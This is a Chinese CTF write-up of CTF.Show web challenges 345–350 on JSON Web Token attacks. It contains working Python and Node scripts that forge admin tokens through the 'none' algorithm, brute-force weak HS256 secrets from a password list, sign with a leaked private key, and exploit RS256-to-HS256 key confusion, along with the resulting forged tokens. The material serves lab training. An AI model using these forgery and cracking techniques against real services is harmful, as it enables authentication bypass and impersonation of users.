0%

【Klee-CTF】CTF.Show Web入门 JWT 专题 web345~web350

JWT 的解密可以在此处完成,同时 JWT 由三部分组成:Header,Payload以及Secret,前两部分由base64编码,并且三个部分用 . 进行拼接

JWT.IO

web345

知识点

  • JWT 的解码与使用

  • JWT 无密钥情况下可任意修改前方数据

做题

从 Cookie 中可获得 JWT 的数据,并放入 jwt.io

Untitled

由 alg:None ,我们可以知道该jwt无签名算法,我们可以任意修改数据。

但是这里编码后的jwt不知道为什么少了个.,在下一题缺少这个.又无法正常提交

Untitled

右键查看源代码,发现有一个访问 /admin 的提示,但注意这里不应该访问 /admin而应该访问 /admin/ ,否则将会错误地跳转到 80 端口的页面导致404。

但是此题无法依照wp做出来,先跳过。。。

Untitled

将捕获后的auth发送至Decoder,解码后修改sub字段为admin再编码,编码后的内容去除等于号再发送至Repeater覆盖进行访问获得flag。

参考资料

JSON Web Token 入门教程

JWT.IO

web346

知识点

  • 修改加密方式为none使其可以任意修改数据内容

做题

将cookie中的jwt交由burpsuite解码,可以看见由三部分组成,分别为 Header.Content.Key

Untitled

在此题中我们显然是没有办法直接拿到它的密钥的,但是在测试时,为了方便可以将加密方式设置为none,这样密钥设置为任何值都是可以,包括空值。

我们可以使用burpsuite来直接修改,将后面的key部分直接去除,然后再将中间段的sub将user改为admin即可

(测试了一下,发现上面这种方法并不可用)

我们还可以利用 Python 中的 pyjwt 库(使用 pip install pyjwt 来安装)来编码一段jwt串

从jwt中提取得到关键数据 Header {"alg":"HS256","typ":"JWT"},Content {"iss":"admin","iat":1630149052,"exp":1630156252,"nbf":1630149052,"sub":"admin","jti":"aeb0d5d3cb6eb7783cfb000aa990034f"} 并用pycharm进行编码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import jwt

header = {
"alg": "none",
"typ": "JWT"
}
content = {
"iss": "admin",
"iat": 1630149052,
"exp": 1630156252,
"nbf": 1630149052,
"sub": "admin",
"jti": "aeb0d5d3cb6eb7783cfb000aa990034f"
}

token = jwt.encode(
content,
"", # 密钥,此处置为空
algorithm="none", # 加密方式
headers=header
)

print(token)

编码后输出 eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMDE0OTA1MiwiZXhwIjoxNjMwMTU2MjUyLCJuYmYiOjE2MzAxNDkwNTIsInN1YiI6ImFkbWluIiwianRpIjoiYWViMGQ1ZDNjYjZlYjc3ODNjZmIwMDBhYTk5MDAzNGYifQ.

参考资料

[CTFSHOW]JWT_Y4tacker的博客-CSDN博客_ctf jwt

web347

知识点

  • 对称加密算法 HS256 密钥的爆破
  • Python strip 移除开头或结尾的字符,默认是空格或换行符

做题

根据参考资料1,可通过报错来判定key是否有效

通过 Python 脚本 + 常用密码破解

1.若签名直接校验失败,则 key_ 为有效密钥;
2.若因数据部分预定义字段错误
(jwt.exceptions.ExpiredSignatureError,
jwt.exceptions.InvalidAudienceError,
jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError)导致校验失败,说明并非密钥错误导致,则 key_ 也为有效密钥;
3.若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;
4.若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。
作者:littlebin404
链接:https://www.jianshu.com/p/acbb936e87df
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

考虑到一般人可能会使用自己的各种密码进行设置,可以用 web21 提供的字典进行测试。

我们可以通过下列代码进行破解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import jwt

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMDE1MTIyNSwiZXhwIjoxNjMwMTU4NDI1LCJuYmYiOjE2MzAxNTEyMjUsInN1YiI6InVzZXIiLCJqdGkiOiI5MzY0M2Y3YThkZTI4ZTdkZDEwZjk0MGY5M2JlYjQ3NyJ9.1FWDoI6Vhu3PSCUuGMvb0VX2SmGjqz02YFS-z-uJEeo" # 题目中的 token
password_file = "/Users/kelly/Downloads/passwords.txt" # 密码文件

with open(password_file) as file:
for line in file:
line = line.strip() # 去除每行后面的换行
try:
jwt.decode(token, verify=True, key=line, algorithms="HS256") # 设置编码方式为 HS256
print('key: ', line)
break
except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError
, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
jwt.exceptions.ImmatureSignatureError): # 出现这些错误,虽然表示过期之类的错误,但是密钥是正确的
print("key: ", line)
break
except jwt.exceptions.InvalidSignatureError: # 签名错误则表示密钥不正确
print("Failed: ", line)
continue
else:
print("Not Found.")

Untitled

通过 jwt-cracker 进行破解

使用 BlackArch 或者 Kali 之类的,可以使用 jwt-cracker 进行全自动破解,但是速度较慢,命令为 jwt-cracker [jwt-token]

1
jwt-cracker eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMDE1MTIyNSwiZXhwIjoxNjMwMTU4NDI1LCJuYmYiOjE2MzAxNTEyMjUsInN1YiI6InVzZXIiLCJqdGkiOiI5MzY0M2Y3YThkZTI4ZTdkZDEwZjk0MGY5M2JlYjQ3NyJ9.1FWDoI6Vhu3PSCUuGMvb0VX2SmGjqz02YFS-z-uJEeo

最后run出来密钥为 123456,可使用 web346 的代码重新合成一个 jwt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import jwt

header = {
"alg": "HS256",
"typ": "JWT"
}
content = {
"iss": "admin",
"iat": 1630151225,
"exp": 1630158425,
"nbf": 1630151225,
"sub": "admin", # 记得改这里呀
"jti": "93643f7a8de28e7dd10f940f93beb477"
}

token = jwt.encode(
content,
"123456", # 这里输入之前破解得到的密钥
algorithm="HS256", # 这里改成和题目一样的 HS256
headers=header
)

print(token)

参考资料

基于JWT的token弱密钥爆破

其他资料

https://xz.aliyun.com/t/6776#toc-7

web348

知识点

  • jwt-cracker 破解的使用

做题

Untitled

使用 jwt-cracker 破解可得密码为 aaab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import jwt

header = {
"alg": "HS256",
"typ": "JWT"
}
content = {
"iss": "admin",
"iat": 1630160569,
"exp": 1630167769,
"nbf": 1630160569,
"sub": "admin",
"jti": "7a62ed74141fba98f405ca3fe23ebb91"
}
token = jwt.encode(
content,
"aaab", # 这里输入之前破解得到的密钥
algorithm="HS256", # 这里改成和题目一样的 HS256
headers=header
)

print(token)

获得 token eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYzMDE2MDU2OSwiZXhwIjoxNjMwMTY3NzY5LCJuYmYiOjE2MzAxNjA1NjksInN1YiI6ImFkbWluIiwianRpIjoiN2E2MmVkNzQxNDFmYmE5OGY0MDVjYTNmZTIzZWJiOTEifQ.Ry2pggYXHznUje2KnM2In8Tku3RwuftuKIY3t4X3Hns

Untitled

web349

知识点

  • node.js 中 Express 可通过 public 文件夹映射静态文件,从而下载

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

做题

由题,我们可以得知其密钥存放于 /public/private.key,下载获得,并且编写 node.js 代码,注意需要提前安装好 jsonwebtoken 的 npm 包

1
2
3
4
5
6
7
const fs = require("fs");
const jwt = require("jsonwebtoken");

var privateKeyPath = "//Users//kelly//Downloads//private.key"
var privateKey = fs.readFileSync(privateKeyPath)
var token = jwt.sign({user: 'admin'}, privateKey, { algorithm: 'RS256' })
console.log(token)

得到 token eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2MzAxNjIwOTd9.npKuv9ByHR6GG5v6vVtpMcjBnfKvWKk2QpklGZEcdTvla_qNFxC6N8mjRTBE5pTUDtGLCthrUWI860hL0GfE6Yyj3hMhOvwP53KqXeGbcG4rwl3kslQ-q92TeeVoLgQW83-M855bEE5_dS_YQsVhJfqdaBKoh-j9gE2fX_bnqDI

同时,题目要求验证的时候使用 POST,丢到 burpsuite 里面一把梭

Untitled

web350

做题

这题是一个白盒分析题,可以通过参数 env=development 来使其报出错误。由于压缩包里没有 private.key ,因此想要暴力破解密钥是不太可能的。同时,cookie中的auth参数提交到 index.js 后经由 jwt.verify 验证,如果 decoded 为undefined则校验失败。但经过测试,发现连它生成的jwt我直接post都没法进行到下一步,所以我决定看wp

通过将算法调整为HMAC变体(HS256/HS384/HS512)并使用公共可用公钥对其进行签名,我们可以欺骗服务使用机密变量中的硬编码公钥验证HMAC令牌。

原来 JWT 在没有强制使用 RS256 的时候,还可以使用 public.key 与 HS256 来假装让它进行对称加密,真是tql。此处的public.key可以直接在网站上下载,直接输入 /public.key

1
2
3
4
5
6
var jwt = require('jsonwebtoken');
var fs = require('fs');

var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token) // eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE2MzAxOTg2NDJ9.7_3UAT5LFXNiPgdZCH80sQYvek-lQ88py8pb9lY9HHw

这样下来,解题就很简单了,我们用公钥签名,然后直接把jwt交上去试试

按照代码,我们这里还需要使用 POST 方式来进行请求

Untitled

参考资料

[CTFSHOW]JWT_Y4tacker的博客-CSDN博客_ctf jwt